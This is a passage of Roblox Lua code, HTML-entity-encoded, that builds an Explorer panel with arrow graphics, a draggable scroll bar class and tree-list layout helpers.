&#9;&#9;elseif dir == &apos;Right&apos; then
&#9;&#9;&#9;function transform(p,s) return UDim2.new(0,size-p.Y.Offset-1,0,p.X.Offset),UDim2.new(0,s.Y.Offset,0,s.X.Offset) end
&#9;&#9;end

&#9;&#9;local scale
&#9;&#9;if scaled then
&#9;&#9;&#9;function scale(p,s) return UDim2.new(p.X.Offset/size,0,p.Y.Offset/size,0),UDim2.new(s.X.Offset/size,0,s.Y.Offset/size,0) end
&#9;&#9;else
&#9;&#9;&#9;function scale(p,s) return p,s end
&#9;&#9;end

&#9;&#9;local o = math.floor(size/4)
&#9;&#9;if size%2 == 0 then
&#9;&#9;&#9;local n = size/2-1
&#9;&#9;&#9;for i = 0,n do
&#9;&#9;&#9;&#9;local t = template:Clone()
&#9;&#9;&#9;&#9;local p,s = scale(transform(
&#9;&#9;&#9;&#9;&#9;UDim2.new(0,n-i,0,o+i),
&#9;&#9;&#9;&#9;&#9;UDim2.new(0,(i+1)*2,0,1)
&#9;&#9;&#9;&#9;))
&#9;&#9;&#9;&#9;t.Position = p
&#9;&#9;&#9;&#9;t.Size = s
&#9;&#9;&#9;&#9;t.Parent = Frame
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;local n = (size-1)/2
&#9;&#9;&#9;for i = 0,n do
&#9;&#9;&#9;&#9;local t = template:Clone()
&#9;&#9;&#9;&#9;local p,s = scale(transform(
&#9;&#9;&#9;&#9;&#9;UDim2.new(0,n-i,0,o+i),
&#9;&#9;&#9;&#9;&#9;UDim2.new(0,i*2+1,0,1)
&#9;&#9;&#9;&#9;))
&#9;&#9;&#9;&#9;t.Position = p
&#9;&#9;&#9;&#9;t.Size = s
&#9;&#9;&#9;&#9;t.Parent = Frame
&#9;&#9;&#9;end
&#9;&#9;end
&#9;&#9;if size%4 &gt; 1 then
&#9;&#9;&#9;local t = template:Clone()
&#9;&#9;&#9;local p,s = scale(transform(
&#9;&#9;&#9;&#9;UDim2.new(0,0,0,size-o-1),
&#9;&#9;&#9;&#9;UDim2.new(0,size,0,1)
&#9;&#9;&#9;))
&#9;&#9;&#9;t.Position = p
&#9;&#9;&#9;t.Size = s
&#9;&#9;&#9;t.Parent = Frame
&#9;&#9;end
&#9;&#9;return Frame
&#9;end


&#9;local function GripGraphic(size,dir,spacing,scaled,template)
&#9;&#9;local Frame = Create(&apos;Frame&apos;,{
&#9;&#9;&#9;Name = &quot;Grip Graphic&quot;;
&#9;&#9;&#9;BorderSizePixel = 0;
&#9;&#9;&#9;Size = UDim2.new(0,size.x,0,size.y);
&#9;&#9;&#9;Transparency = 1;
&#9;&#9;})
&#9;&#9;if not template then
&#9;&#9;&#9;template = Instance.new(&quot;Frame&quot;)
&#9;&#9;&#9;template.BorderSizePixel = 0
&#9;&#9;end

&#9;&#9;spacing = spacing or 2

&#9;&#9;local scale
&#9;&#9;if scaled then
&#9;&#9;&#9;function scale(p) return UDim2.new(p.X.Offset/size.x,0,p.Y.Offset/size.y,0) end
&#9;&#9;else
&#9;&#9;&#9;function scale(p) return p end
&#9;&#9;end

&#9;&#9;if dir == &apos;Vertical&apos; then
&#9;&#9;&#9;for i=0,size.x-1,spacing do
&#9;&#9;&#9;&#9;local t = template:Clone()
&#9;&#9;&#9;&#9;t.Size = scale(UDim2.new(0,1,0,size.y))
&#9;&#9;&#9;&#9;t.Position = scale(UDim2.new(0,i,0,0))
&#9;&#9;&#9;&#9;t.Parent = Frame
&#9;&#9;&#9;end
&#9;&#9;elseif dir == nil or dir == &apos;Horizontal&apos; then
&#9;&#9;&#9;for i=0,size.y-1,spacing do
&#9;&#9;&#9;&#9;local t = template:Clone()
&#9;&#9;&#9;&#9;t.Size = scale(UDim2.new(0,size.x,0,1))
&#9;&#9;&#9;&#9;t.Position = scale(UDim2.new(0,0,0,i))
&#9;&#9;&#9;&#9;t.Parent = Frame
&#9;&#9;&#9;end
&#9;&#9;end

&#9;&#9;return Frame
&#9;end

&#9;local mt = {
&#9;&#9;__index = {
&#9;&#9;&#9;GetScrollPercent = function(self)
&#9;&#9;&#9;&#9;return self.ScrollIndex/(self.TotalSpace-self.VisibleSpace)
&#9;&#9;&#9;end;
&#9;&#9;&#9;CanScrollDown = function(self)
&#9;&#9;&#9;&#9;return self.ScrollIndex + self.VisibleSpace &lt; self.TotalSpace
&#9;&#9;&#9;end;
&#9;&#9;&#9;CanScrollUp = function(self)
&#9;&#9;&#9;&#9;return self.ScrollIndex &gt; 0
&#9;&#9;&#9;end;
&#9;&#9;&#9;ScrollDown = function(self)
&#9;&#9;&#9;&#9;self.ScrollIndex = self.ScrollIndex + self.PageIncrement
&#9;&#9;&#9;&#9;self:Update()
&#9;&#9;&#9;end;
&#9;&#9;&#9;ScrollUp = function(self)
&#9;&#9;&#9;&#9;self.ScrollIndex = self.ScrollIndex - self.PageIncrement
&#9;&#9;&#9;&#9;self:Update()
&#9;&#9;&#9;end;
&#9;&#9;&#9;ScrollTo = function(self,index)
&#9;&#9;&#9;&#9;self.ScrollIndex = index
&#9;&#9;&#9;&#9;self:Update()
&#9;&#9;&#9;end;
&#9;&#9;&#9;SetScrollPercent = function(self,percent)
&#9;&#9;&#9;&#9;self.ScrollIndex = math.floor((self.TotalSpace - self.VisibleSpace)*percent + 0.5)
&#9;&#9;&#9;&#9;self:Update()
&#9;&#9;&#9;end;
&#9;&#9;};
&#9;}
&#9;mt.__index.CanScrollRight = mt.__index.CanScrollDown
&#9;mt.__index.CanScrollLeft = mt.__index.CanScrollUp
&#9;mt.__index.ScrollLeft = mt.__index.ScrollUp
&#9;mt.__index.ScrollRight = mt.__index.ScrollDown

&#9;function ScrollBar(horizontal)
&#9;&#9;-- create row scroll bar
&#9;&#9;local ScrollFrame = Create(&apos;Frame&apos;,{
&#9;&#9;&#9;Name = &quot;ScrollFrame&quot;;
&#9;&#9;&#9;Position = horizontal and UDim2.new(0,0,1,-GUI_SIZE) or UDim2.new(1,-GUI_SIZE,0,0);
&#9;&#9;&#9;Size = horizontal and UDim2.new(1,0,0,GUI_SIZE) or UDim2.new(0,GUI_SIZE,1,0);
&#9;&#9;&#9;BackgroundTransparency = 1;
&#9;&#9;&#9;Create(&apos;ImageButton&apos;,{
&#9;&#9;&#9;&#9;Name = &quot;ScrollDown&quot;;
&#9;&#9;&#9;&#9;Position = horizontal and UDim2.new(1,-GUI_SIZE,0,0) or UDim2.new(0,0,1,-GUI_SIZE);
&#9;&#9;&#9;&#9;Size = UDim2.new(0, GUI_SIZE, 0, GUI_SIZE);
&#9;&#9;&#9;&#9;BackgroundColor3 = GuiColor.Button;
&#9;&#9;&#9;&#9;BorderColor3 = GuiColor.Border;
&#9;&#9;&#9;&#9;--BorderSizePixel = 0;
&#9;&#9;&#9;});
&#9;&#9;&#9;Create(&apos;ImageButton&apos;,{
&#9;&#9;&#9;&#9;Name = &quot;ScrollUp&quot;;
&#9;&#9;&#9;&#9;Size = UDim2.new(0, GUI_SIZE, 0, GUI_SIZE);
&#9;&#9;&#9;&#9;BackgroundColor3 = GuiColor.Button;
&#9;&#9;&#9;&#9;BorderColor3 = GuiColor.Border;
&#9;&#9;&#9;&#9;--BorderSizePixel = 0;
&#9;&#9;&#9;});
&#9;&#9;&#9;Create(&apos;ImageButton&apos;,{
&#9;&#9;&#9;&#9;Name = &quot;ScrollBar&quot;;
&#9;&#9;&#9;&#9;Size = horizontal and UDim2.new(1,-GUI_SIZE*2,1,0) or UDim2.new(1,0,1,-GUI_SIZE*2);
&#9;&#9;&#9;&#9;Position = horizontal and UDim2.new(0,GUI_SIZE,0,0) or UDim2.new(0,0,0,GUI_SIZE);
&#9;&#9;&#9;&#9;AutoButtonColor = false;
&#9;&#9;&#9;&#9;BackgroundColor3 = Color3.new(0.94902, 0.94902, 0.94902);
&#9;&#9;&#9;&#9;BorderColor3 = GuiColor.Border;
&#9;&#9;&#9;&#9;--BorderSizePixel = 0;
&#9;&#9;&#9;&#9;Create(&apos;ImageButton&apos;,{
&#9;&#9;&#9;&#9;&#9;Name = &quot;ScrollThumb&quot;;
&#9;&#9;&#9;&#9;&#9;AutoButtonColor = false;
&#9;&#9;&#9;&#9;&#9;Size = UDim2.new(0, GUI_SIZE, 0, GUI_SIZE);
&#9;&#9;&#9;&#9;&#9;BackgroundColor3 = GuiColor.Button;
&#9;&#9;&#9;&#9;&#9;BorderColor3 = GuiColor.Border;
&#9;&#9;&#9;&#9;&#9;--BorderSizePixel = 0;
&#9;&#9;&#9;&#9;});
&#9;&#9;&#9;});
&#9;&#9;})

&#9;&#9;local graphicTemplate = Create(&apos;Frame&apos;,{
&#9;&#9;&#9;Name=&quot;Graphic&quot;;
&#9;&#9;&#9;BorderSizePixel = 0;
&#9;&#9;&#9;BackgroundColor3 = GuiColor.Border;
&#9;&#9;})
&#9;&#9;local graphicSize = GUI_SIZE/2

&#9;&#9;local ScrollDownFrame = ScrollFrame.ScrollDown
&#9;&#9;&#9;local ScrollDownGraphic = ArrowGraphic(graphicSize,horizontal and &apos;Right&apos; or &apos;Down&apos;,true,graphicTemplate)
&#9;&#9;&#9;ScrollDownGraphic.Position = UDim2.new(0.5,-graphicSize/2,0.5,-graphicSize/2)
&#9;&#9;&#9;ScrollDownGraphic.Parent = ScrollDownFrame
&#9;&#9;local ScrollUpFrame = ScrollFrame.ScrollUp
&#9;&#9;&#9;local ScrollUpGraphic = ArrowGraphic(graphicSize,horizontal and &apos;Left&apos; or &apos;Up&apos;,true,graphicTemplate)
&#9;&#9;&#9;ScrollUpGraphic.Position = UDim2.new(0.5,-graphicSize/2,0.5,-graphicSize/2)
&#9;&#9;&#9;ScrollUpGraphic.Parent = ScrollUpFrame
&#9;&#9;local ScrollBarFrame = ScrollFrame.ScrollBar
&#9;&#9;local ScrollThumbFrame = ScrollBarFrame.ScrollThumb
&#9;&#9;do
&#9;&#9;&#9;local size = GUI_SIZE*3/8
&#9;&#9;&#9;local Decal = GripGraphic(Vector2.new(size,size),horizontal and &apos;Vertical&apos; or &apos;Horizontal&apos;,2,graphicTemplate)
&#9;&#9;&#9;Decal.Position = UDim2.new(0.5,-size/2,0.5,-size/2)
&#9;&#9;&#9;Decal.Parent = ScrollThumbFrame
&#9;&#9;end

&#9;&#9;local Class = setmetatable({
&#9;&#9;&#9;GUI = ScrollFrame;
&#9;&#9;&#9;ScrollIndex = 0;
&#9;&#9;&#9;VisibleSpace = 0;
&#9;&#9;&#9;TotalSpace = 0;
&#9;&#9;&#9;PageIncrement = 1;
&#9;&#9;},mt)

&#9;&#9;local UpdateScrollThumb
&#9;&#9;if horizontal then
&#9;&#9;&#9;function UpdateScrollThumb()
&#9;&#9;&#9;&#9;ScrollThumbFrame.Size = UDim2.new(Class.VisibleSpace/Class.TotalSpace,0,0,GUI_SIZE)
&#9;&#9;&#9;&#9;if ScrollThumbFrame.AbsoluteSize.x &lt; GUI_SIZE then
&#9;&#9;&#9;&#9;&#9;ScrollThumbFrame.Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;local barSize = ScrollBarFrame.AbsoluteSize.x
&#9;&#9;&#9;&#9;ScrollThumbFrame.Position = UDim2.new(Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.x)/barSize,0,0,0)
&#9;&#9;&#9;end
&#9;&#9;else
&#9;&#9;&#9;function UpdateScrollThumb()
&#9;&#9;&#9;&#9;ScrollThumbFrame.Size = UDim2.new(0,GUI_SIZE,Class.VisibleSpace/Class.TotalSpace,0)
&#9;&#9;&#9;&#9;if ScrollThumbFrame.AbsoluteSize.y &lt; GUI_SIZE then
&#9;&#9;&#9;&#9;&#9;ScrollThumbFrame.Size = UDim2.new(0,GUI_SIZE,0,GUI_SIZE)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;local barSize = ScrollBarFrame.AbsoluteSize.y
&#9;&#9;&#9;&#9;ScrollThumbFrame.Position = UDim2.new(0,0,Class:GetScrollPercent()*(barSize - ScrollThumbFrame.AbsoluteSize.y)/barSize,0)
&#9;&#9;&#9;end
&#9;&#9;end

&#9;&#9;local lastDown
&#9;&#9;local lastUp
&#9;&#9;local scrollStyle = {BackgroundColor3=GuiColor.Border,BackgroundTransparency=0}
&#9;&#9;local scrollStyle_ds = {BackgroundColor3=GuiColor.Border,BackgroundTransparency=0.7}

&#9;&#9;local function Update()
&#9;&#9;&#9;local t = Class.TotalSpace
&#9;&#9;&#9;local v = Class.VisibleSpace
&#9;&#9;&#9;local s = Class.ScrollIndex
&#9;&#9;&#9;if v &lt;= t then
&#9;&#9;&#9;&#9;if s &gt; 0 then
&#9;&#9;&#9;&#9;&#9;if s + v &gt; t then
&#9;&#9;&#9;&#9;&#9;&#9;Class.ScrollIndex = t - v
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;Class.ScrollIndex = 0
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;Class.ScrollIndex = 0
&#9;&#9;&#9;end

&#9;&#9;&#9;if Class.UpdateCallback then
&#9;&#9;&#9;&#9;if Class.UpdateCallback(Class) == false then
&#9;&#9;&#9;&#9;&#9;return
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end

&#9;&#9;&#9;local down = Class:CanScrollDown()
&#9;&#9;&#9;local up = Class:CanScrollUp()
&#9;&#9;&#9;if down ~= lastDown then
&#9;&#9;&#9;&#9;lastDown = down
&#9;&#9;&#9;&#9;ScrollDownFrame.Active = down
&#9;&#9;&#9;&#9;ScrollDownFrame.AutoButtonColor = down
&#9;&#9;&#9;&#9;local children = ScrollDownGraphic:GetChildren()
&#9;&#9;&#9;&#9;local style = down and scrollStyle or scrollStyle_ds
&#9;&#9;&#9;&#9;for i = 1,#children do
&#9;&#9;&#9;&#9;&#9;Create(children[i],style)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;if up ~= lastUp then
&#9;&#9;&#9;&#9;lastUp = up
&#9;&#9;&#9;&#9;ScrollUpFrame.Active = up
&#9;&#9;&#9;&#9;ScrollUpFrame.AutoButtonColor = up
&#9;&#9;&#9;&#9;local children = ScrollUpGraphic:GetChildren()
&#9;&#9;&#9;&#9;local style = up and scrollStyle or scrollStyle_ds
&#9;&#9;&#9;&#9;for i = 1,#children do
&#9;&#9;&#9;&#9;&#9;Create(children[i],style)
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end
&#9;&#9;&#9;ScrollThumbFrame.Visible = down or up
&#9;&#9;&#9;UpdateScrollThumb()
&#9;&#9;end
&#9;&#9;Class.Update = Update

&#9;&#9;SetZIndexOnChanged(ScrollFrame)

&#9;&#9;local MouseDrag = Create(&apos;ImageButton&apos;,{
&#9;&#9;&#9;Name = &quot;MouseDrag&quot;;
&#9;&#9;&#9;Position = UDim2.new(-0.25,0,-0.25,0);
&#9;&#9;&#9;Size = UDim2.new(1.5,0,1.5,0);
&#9;&#9;&#9;Transparency = 1;
&#9;&#9;&#9;AutoButtonColor = false;
&#9;&#9;&#9;Active = true;
&#9;&#9;&#9;ZIndex = 10;
&#9;&#9;})

&#9;&#9;local scrollEventID = 0
&#9;&#9;ScrollDownFrame.MouseButton1Down:connect(function()
&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;local current = scrollEventID
&#9;&#9;&#9;local up_con
&#9;&#9;&#9;up_con = MouseDrag.MouseButton1Up:connect(function()
&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;MouseDrag.Parent = nil
&#9;&#9;&#9;&#9;ResetButtonColor(ScrollDownFrame)
&#9;&#9;&#9;&#9;up_con:disconnect(); drag = nil
&#9;&#9;&#9;end)
&#9;&#9;&#9;MouseDrag.Parent = GetScreen(ScrollFrame)
&#9;&#9;&#9;Class:ScrollDown()
&#9;&#9;&#9;wait(0.2) -- delay before auto scroll
&#9;&#9;&#9;while scrollEventID == current do
&#9;&#9;&#9;&#9;Class:ScrollDown()
&#9;&#9;&#9;&#9;if not Class:CanScrollDown() then break end
&#9;&#9;&#9;&#9;wait()
&#9;&#9;&#9;end
&#9;&#9;end)

&#9;&#9;ScrollDownFrame.MouseButton1Up:connect(function()
&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;end)

&#9;&#9;ScrollUpFrame.MouseButton1Down:connect(function()
&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;local current = scrollEventID
&#9;&#9;&#9;local up_con
&#9;&#9;&#9;up_con = MouseDrag.MouseButton1Up:connect(function()
&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;MouseDrag.Parent = nil
&#9;&#9;&#9;&#9;ResetButtonColor(ScrollUpFrame)
&#9;&#9;&#9;&#9;up_con:disconnect(); drag = nil
&#9;&#9;&#9;end)
&#9;&#9;&#9;MouseDrag.Parent = GetScreen(ScrollFrame)
&#9;&#9;&#9;Class:ScrollUp()
&#9;&#9;&#9;wait(0.2)
&#9;&#9;&#9;while scrollEventID == current do
&#9;&#9;&#9;&#9;Class:ScrollUp()
&#9;&#9;&#9;&#9;if not Class:CanScrollUp() then break end
&#9;&#9;&#9;&#9;wait()
&#9;&#9;&#9;end
&#9;&#9;end)

&#9;&#9;ScrollUpFrame.MouseButton1Up:connect(function()
&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;end)

&#9;&#9;if horizontal then
&#9;&#9;&#9;ScrollBarFrame.MouseButton1Down:connect(function(x,y)
&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;local current = scrollEventID
&#9;&#9;&#9;&#9;local up_con
&#9;&#9;&#9;&#9;up_con = MouseDrag.MouseButton1Up:connect(function()
&#9;&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;&#9;MouseDrag.Parent = nil
&#9;&#9;&#9;&#9;&#9;ResetButtonColor(ScrollUpFrame)
&#9;&#9;&#9;&#9;&#9;up_con:disconnect(); drag = nil
&#9;&#9;&#9;&#9;end)
&#9;&#9;&#9;&#9;MouseDrag.Parent = GetScreen(ScrollFrame)
&#9;&#9;&#9;&#9;if x &gt; ScrollThumbFrame.AbsolutePosition.x then
&#9;&#9;&#9;&#9;&#9;Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
&#9;&#9;&#9;&#9;&#9;wait(0.2)
&#9;&#9;&#9;&#9;&#9;while scrollEventID == current do
&#9;&#9;&#9;&#9;&#9;&#9;if x &lt; ScrollThumbFrame.AbsolutePosition.x + ScrollThumbFrame.AbsoluteSize.x then break end
&#9;&#9;&#9;&#9;&#9;&#9;Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
&#9;&#9;&#9;&#9;&#9;&#9;wait()
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
&#9;&#9;&#9;&#9;&#9;wait(0.2)
&#9;&#9;&#9;&#9;&#9;while scrollEventID == current do
&#9;&#9;&#9;&#9;&#9;&#9;if x &gt; ScrollThumbFrame.AbsolutePosition.x then break end
&#9;&#9;&#9;&#9;&#9;&#9;Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
&#9;&#9;&#9;&#9;&#9;&#9;wait()
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end)
&#9;&#9;else
&#9;&#9;&#9;ScrollBarFrame.MouseButton1Down:connect(function(x,y)
&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;local current = scrollEventID
&#9;&#9;&#9;&#9;local up_con
&#9;&#9;&#9;&#9;up_con = MouseDrag.MouseButton1Up:connect(function()
&#9;&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;&#9;MouseDrag.Parent = nil
&#9;&#9;&#9;&#9;&#9;ResetButtonColor(ScrollUpFrame)
&#9;&#9;&#9;&#9;&#9;up_con:disconnect(); drag = nil
&#9;&#9;&#9;&#9;end)
&#9;&#9;&#9;&#9;MouseDrag.Parent = GetScreen(ScrollFrame)
&#9;&#9;&#9;&#9;if y &gt; ScrollThumbFrame.AbsolutePosition.y then
&#9;&#9;&#9;&#9;&#9;Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
&#9;&#9;&#9;&#9;&#9;wait(0.2)
&#9;&#9;&#9;&#9;&#9;while scrollEventID == current do
&#9;&#9;&#9;&#9;&#9;&#9;if y &lt; ScrollThumbFrame.AbsolutePosition.y + ScrollThumbFrame.AbsoluteSize.y then break end
&#9;&#9;&#9;&#9;&#9;&#9;Class:ScrollTo(Class.ScrollIndex + Class.VisibleSpace)
&#9;&#9;&#9;&#9;&#9;&#9;wait()
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;else
&#9;&#9;&#9;&#9;&#9;Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
&#9;&#9;&#9;&#9;&#9;wait(0.2)
&#9;&#9;&#9;&#9;&#9;while scrollEventID == current do
&#9;&#9;&#9;&#9;&#9;&#9;if y &gt; ScrollThumbFrame.AbsolutePosition.y then break end
&#9;&#9;&#9;&#9;&#9;&#9;Class:ScrollTo(Class.ScrollIndex - Class.VisibleSpace)
&#9;&#9;&#9;&#9;&#9;&#9;wait()
&#9;&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;&#9;end
&#9;&#9;&#9;end)
&#9;&#9;end

&#9;&#9;if horizontal then
&#9;&#9;&#9;ScrollThumbFrame.MouseButton1Down:connect(function(x,y)
&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;local mouse_offset = x - ScrollThumbFrame.AbsolutePosition.x
&#9;&#9;&#9;&#9;local drag_con
&#9;&#9;&#9;&#9;local up_con
&#9;&#9;&#9;&#9;drag_con = MouseDrag.MouseMoved:connect(function(x,y)
&#9;&#9;&#9;&#9;&#9;local bar_abs_pos = ScrollBarFrame.AbsolutePosition.x
&#9;&#9;&#9;&#9;&#9;local bar_drag = ScrollBarFrame.AbsoluteSize.x - ScrollThumbFrame.AbsoluteSize.x
&#9;&#9;&#9;&#9;&#9;local bar_abs_one = bar_abs_pos + bar_drag
&#9;&#9;&#9;&#9;&#9;x = x - mouse_offset
&#9;&#9;&#9;&#9;&#9;x = x &lt; bar_abs_pos and bar_abs_pos or x &gt; bar_abs_one and bar_abs_one or x
&#9;&#9;&#9;&#9;&#9;x = x - bar_abs_pos
&#9;&#9;&#9;&#9;&#9;Class:SetScrollPercent(x/(bar_drag))
&#9;&#9;&#9;&#9;end)
&#9;&#9;&#9;&#9;up_con = MouseDrag.MouseButton1Up:connect(function()
&#9;&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;&#9;MouseDrag.Parent = nil
&#9;&#9;&#9;&#9;&#9;ResetButtonColor(ScrollThumbFrame)
&#9;&#9;&#9;&#9;&#9;drag_con:disconnect(); drag_con = nil
&#9;&#9;&#9;&#9;&#9;up_con:disconnect(); drag = nil
&#9;&#9;&#9;&#9;end)
&#9;&#9;&#9;&#9;MouseDrag.Parent = GetScreen(ScrollFrame)
&#9;&#9;&#9;end)
&#9;&#9;else
&#9;&#9;&#9;ScrollThumbFrame.MouseButton1Down:connect(function(x,y)
&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;local mouse_offset = y - ScrollThumbFrame.AbsolutePosition.y
&#9;&#9;&#9;&#9;local drag_con
&#9;&#9;&#9;&#9;local up_con
&#9;&#9;&#9;&#9;drag_con = MouseDrag.MouseMoved:connect(function(x,y)
&#9;&#9;&#9;&#9;&#9;local bar_abs_pos = ScrollBarFrame.AbsolutePosition.y
&#9;&#9;&#9;&#9;&#9;local bar_drag = ScrollBarFrame.AbsoluteSize.y - ScrollThumbFrame.AbsoluteSize.y
&#9;&#9;&#9;&#9;&#9;local bar_abs_one = bar_abs_pos + bar_drag
&#9;&#9;&#9;&#9;&#9;y = y - mouse_offset
&#9;&#9;&#9;&#9;&#9;y = y &lt; bar_abs_pos and bar_abs_pos or y &gt; bar_abs_one and bar_abs_one or y
&#9;&#9;&#9;&#9;&#9;y = y - bar_abs_pos
&#9;&#9;&#9;&#9;&#9;Class:SetScrollPercent(y/(bar_drag))
&#9;&#9;&#9;&#9;end)
&#9;&#9;&#9;&#9;up_con = MouseDrag.MouseButton1Up:connect(function()
&#9;&#9;&#9;&#9;&#9;scrollEventID = tick()
&#9;&#9;&#9;&#9;&#9;MouseDrag.Parent = nil
&#9;&#9;&#9;&#9;&#9;ResetButtonColor(ScrollThumbFrame)
&#9;&#9;&#9;&#9;&#9;drag_con:disconnect(); drag_con = nil
&#9;&#9;&#9;&#9;&#9;up_con:disconnect(); drag = nil
&#9;&#9;&#9;&#9;end)
&#9;&#9;&#9;&#9;MouseDrag.Parent = GetScreen(ScrollFrame)
&#9;&#9;&#9;end)
&#9;&#9;end

&#9;&#9;function Class:Destroy()
&#9;&#9;&#9;ScrollFrame:Destroy()
&#9;&#9;&#9;MouseDrag:Destroy()
&#9;&#9;&#9;for k in pairs(Class) do
&#9;&#9;&#9;&#9;Class[k] = nil
&#9;&#9;&#9;end
&#9;&#9;&#9;setmetatable(Class,nil)
&#9;&#9;end

&#9;&#9;Update()

&#9;&#9;return Class
&#9;end
end

----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
----------------------------------------------------------------
---- Explorer panel

local explorerPanel = script.Parent
Create(explorerPanel,{
&#9;BackgroundColor3 = GuiColor.Field;
&#9;BorderColor3 = GuiColor.Border;
&#9;Active = true;
})

local listFrame = Create(&apos;Frame&apos;,{
&#9;Name = &quot;List&quot;;
&#9;BackgroundTransparency = 1;
&#9;ClipsDescendants = true;
&#9;Position = UDim2.new(0,0,0,HEADER_SIZE);
&#9;Size = UDim2.new(1,-GUI_SIZE,1,-HEADER_SIZE);
&#9;Parent = explorerPanel;
})

local scrollBar = ScrollBar(false)
scrollBar.PageIncrement = 1
Create(scrollBar.GUI,{
&#9;Position = UDim2.new(1,-GUI_SIZE,0,HEADER_SIZE);
&#9;Size = UDim2.new(0,GUI_SIZE,1,-HEADER_SIZE);
&#9;Parent = explorerPanel;
})

local scrollBarH = ScrollBar(true)
scrollBarH.PageIncrement = GUI_SIZE
Create(scrollBarH.GUI,{
&#9;Position = UDim2.new(0,0,1,-GUI_SIZE);
&#9;Size = UDim2.new(1,-GUI_SIZE,0,GUI_SIZE);
&#9;Visible = false;
&#9;Parent = explorerPanel;
})

local headerFrame = Create(&apos;Frame&apos;,{
&#9;Name = &quot;Header&quot;;
&#9;BackgroundColor3 = GuiColor.Background;
&#9;BorderColor3 = GuiColor.Border;
&#9;Position = UDim2.new(0,0,0,0);
&#9;Size = UDim2.new(1,0,0,HEADER_SIZE);
&#9;Parent = explorerPanel;
&#9;Create(&apos;TextLabel&apos;,{
&#9;&#9;Text = &quot;Explorer&quot;;
&#9;&#9;BackgroundTransparency = 1;
&#9;&#9;TextColor3 = GuiColor.Text;
&#9;&#9;TextXAlignment = &apos;Left&apos;;
&#9;&#9;Font = FONT;
&#9;&#9;FontSize = FONT_SIZE;
&#9;&#9;Position = UDim2.new(0,4,0,0);
&#9;&#9;Size = UDim2.new(1,-4,1,0);
&#9;});
})

SetZIndexOnChanged(explorerPanel)

local getTextWidth do
&#9;local text = Create(&apos;TextLabel&apos;,{
&#9;&#9;Name = &quot;TextWidth&quot;;
&#9;&#9;TextXAlignment = &apos;Left&apos;;
&#9;&#9;TextYAlignment = &apos;Center&apos;;
&#9;&#9;Font = FONT;
&#9;&#9;FontSize = FONT_SIZE;
&#9;&#9;Text = &quot;&quot;;
&#9;&#9;Position = UDim2.new(0,0,0,0);
&#9;&#9;Size = UDim2.new(1,0,1,0);
&#9;&#9;Visible = false;
&#9;&#9;Parent = explorerPanel;
&#9;})
&#9;function getTextWidth(s)
&#9;&#9;text.Text = s
&#9;&#9;return text.TextBounds.x
&#9;end
end

-- Holds the game tree converted to a list.
local TreeList = {}
-- Matches objects to their tree node representation.
local NodeLookup = {}

local nodeWidth = 0

local updateList,rawUpdateList,updateScroll,rawUpdateSize do
&#9;local function r(t)
&#9;&#9;for i = 1,#t do
&#9;&#9;&#9;TreeList[#TreeList+1] = t[i]

&#9;&#9;&#9;local w = (t[i].Depth)*(2+ENTRY_PADDING+GUI_SIZE) + 2 + ENTRY_SIZE + 4 + getTextWidth(t[i].Object.Name) + 4
&#9;&#9;&#9;if w &gt; nodeWidth then
&#9;&#9;&#9;&#9;nodeWidth = w
&#9;&#9;&#9;end
&#9;&#9;&#9;if t[i].Expanded then
&#9;&#9;&#9;&#9;r(t[i])
&#9;&#9;&#9;end
&#9;&#9;end
&#9;end

&#9;function rawUpdateSize()
&#9;&#9;scrollBarH.TotalSpace = nodeWidth
&#9;&#9;scrollBarH.VisibleSpace = listFrame.AbsoluteSize.x
&#9;&#9;scrollBarH:Update()
&#9;&#9;local visible = scrollBarH:CanScrollDown() or scrollBarH:CanScrollUp()
&#9;&#9;scrollBarH.GUI.Visible = visible

&#9;&#9;listFrame.Size = UDim2.new(1,-GUI_SIZE,1,-GUI_SIZE*(visible and 1 or 0) - HEADER_SIZE)

&#9;&#9;scrollBar.VisibleSpace = math.ceil(listFrame.AbsoluteSize.y/ENTRY_BOUND)
&#9;&#9;scrollBar.GUI.Size = UDim2.new(0,GUI_SIZE,1,-GUI_SIZE*(visible and 1 or 0) - HEADER_SIZE)

&#9;&#9;scrollBar.TotalSpace = #TreeList+1
&#9;&#9;scrollBar:Update()
&#9;end

&#9;function rawUpdateList()
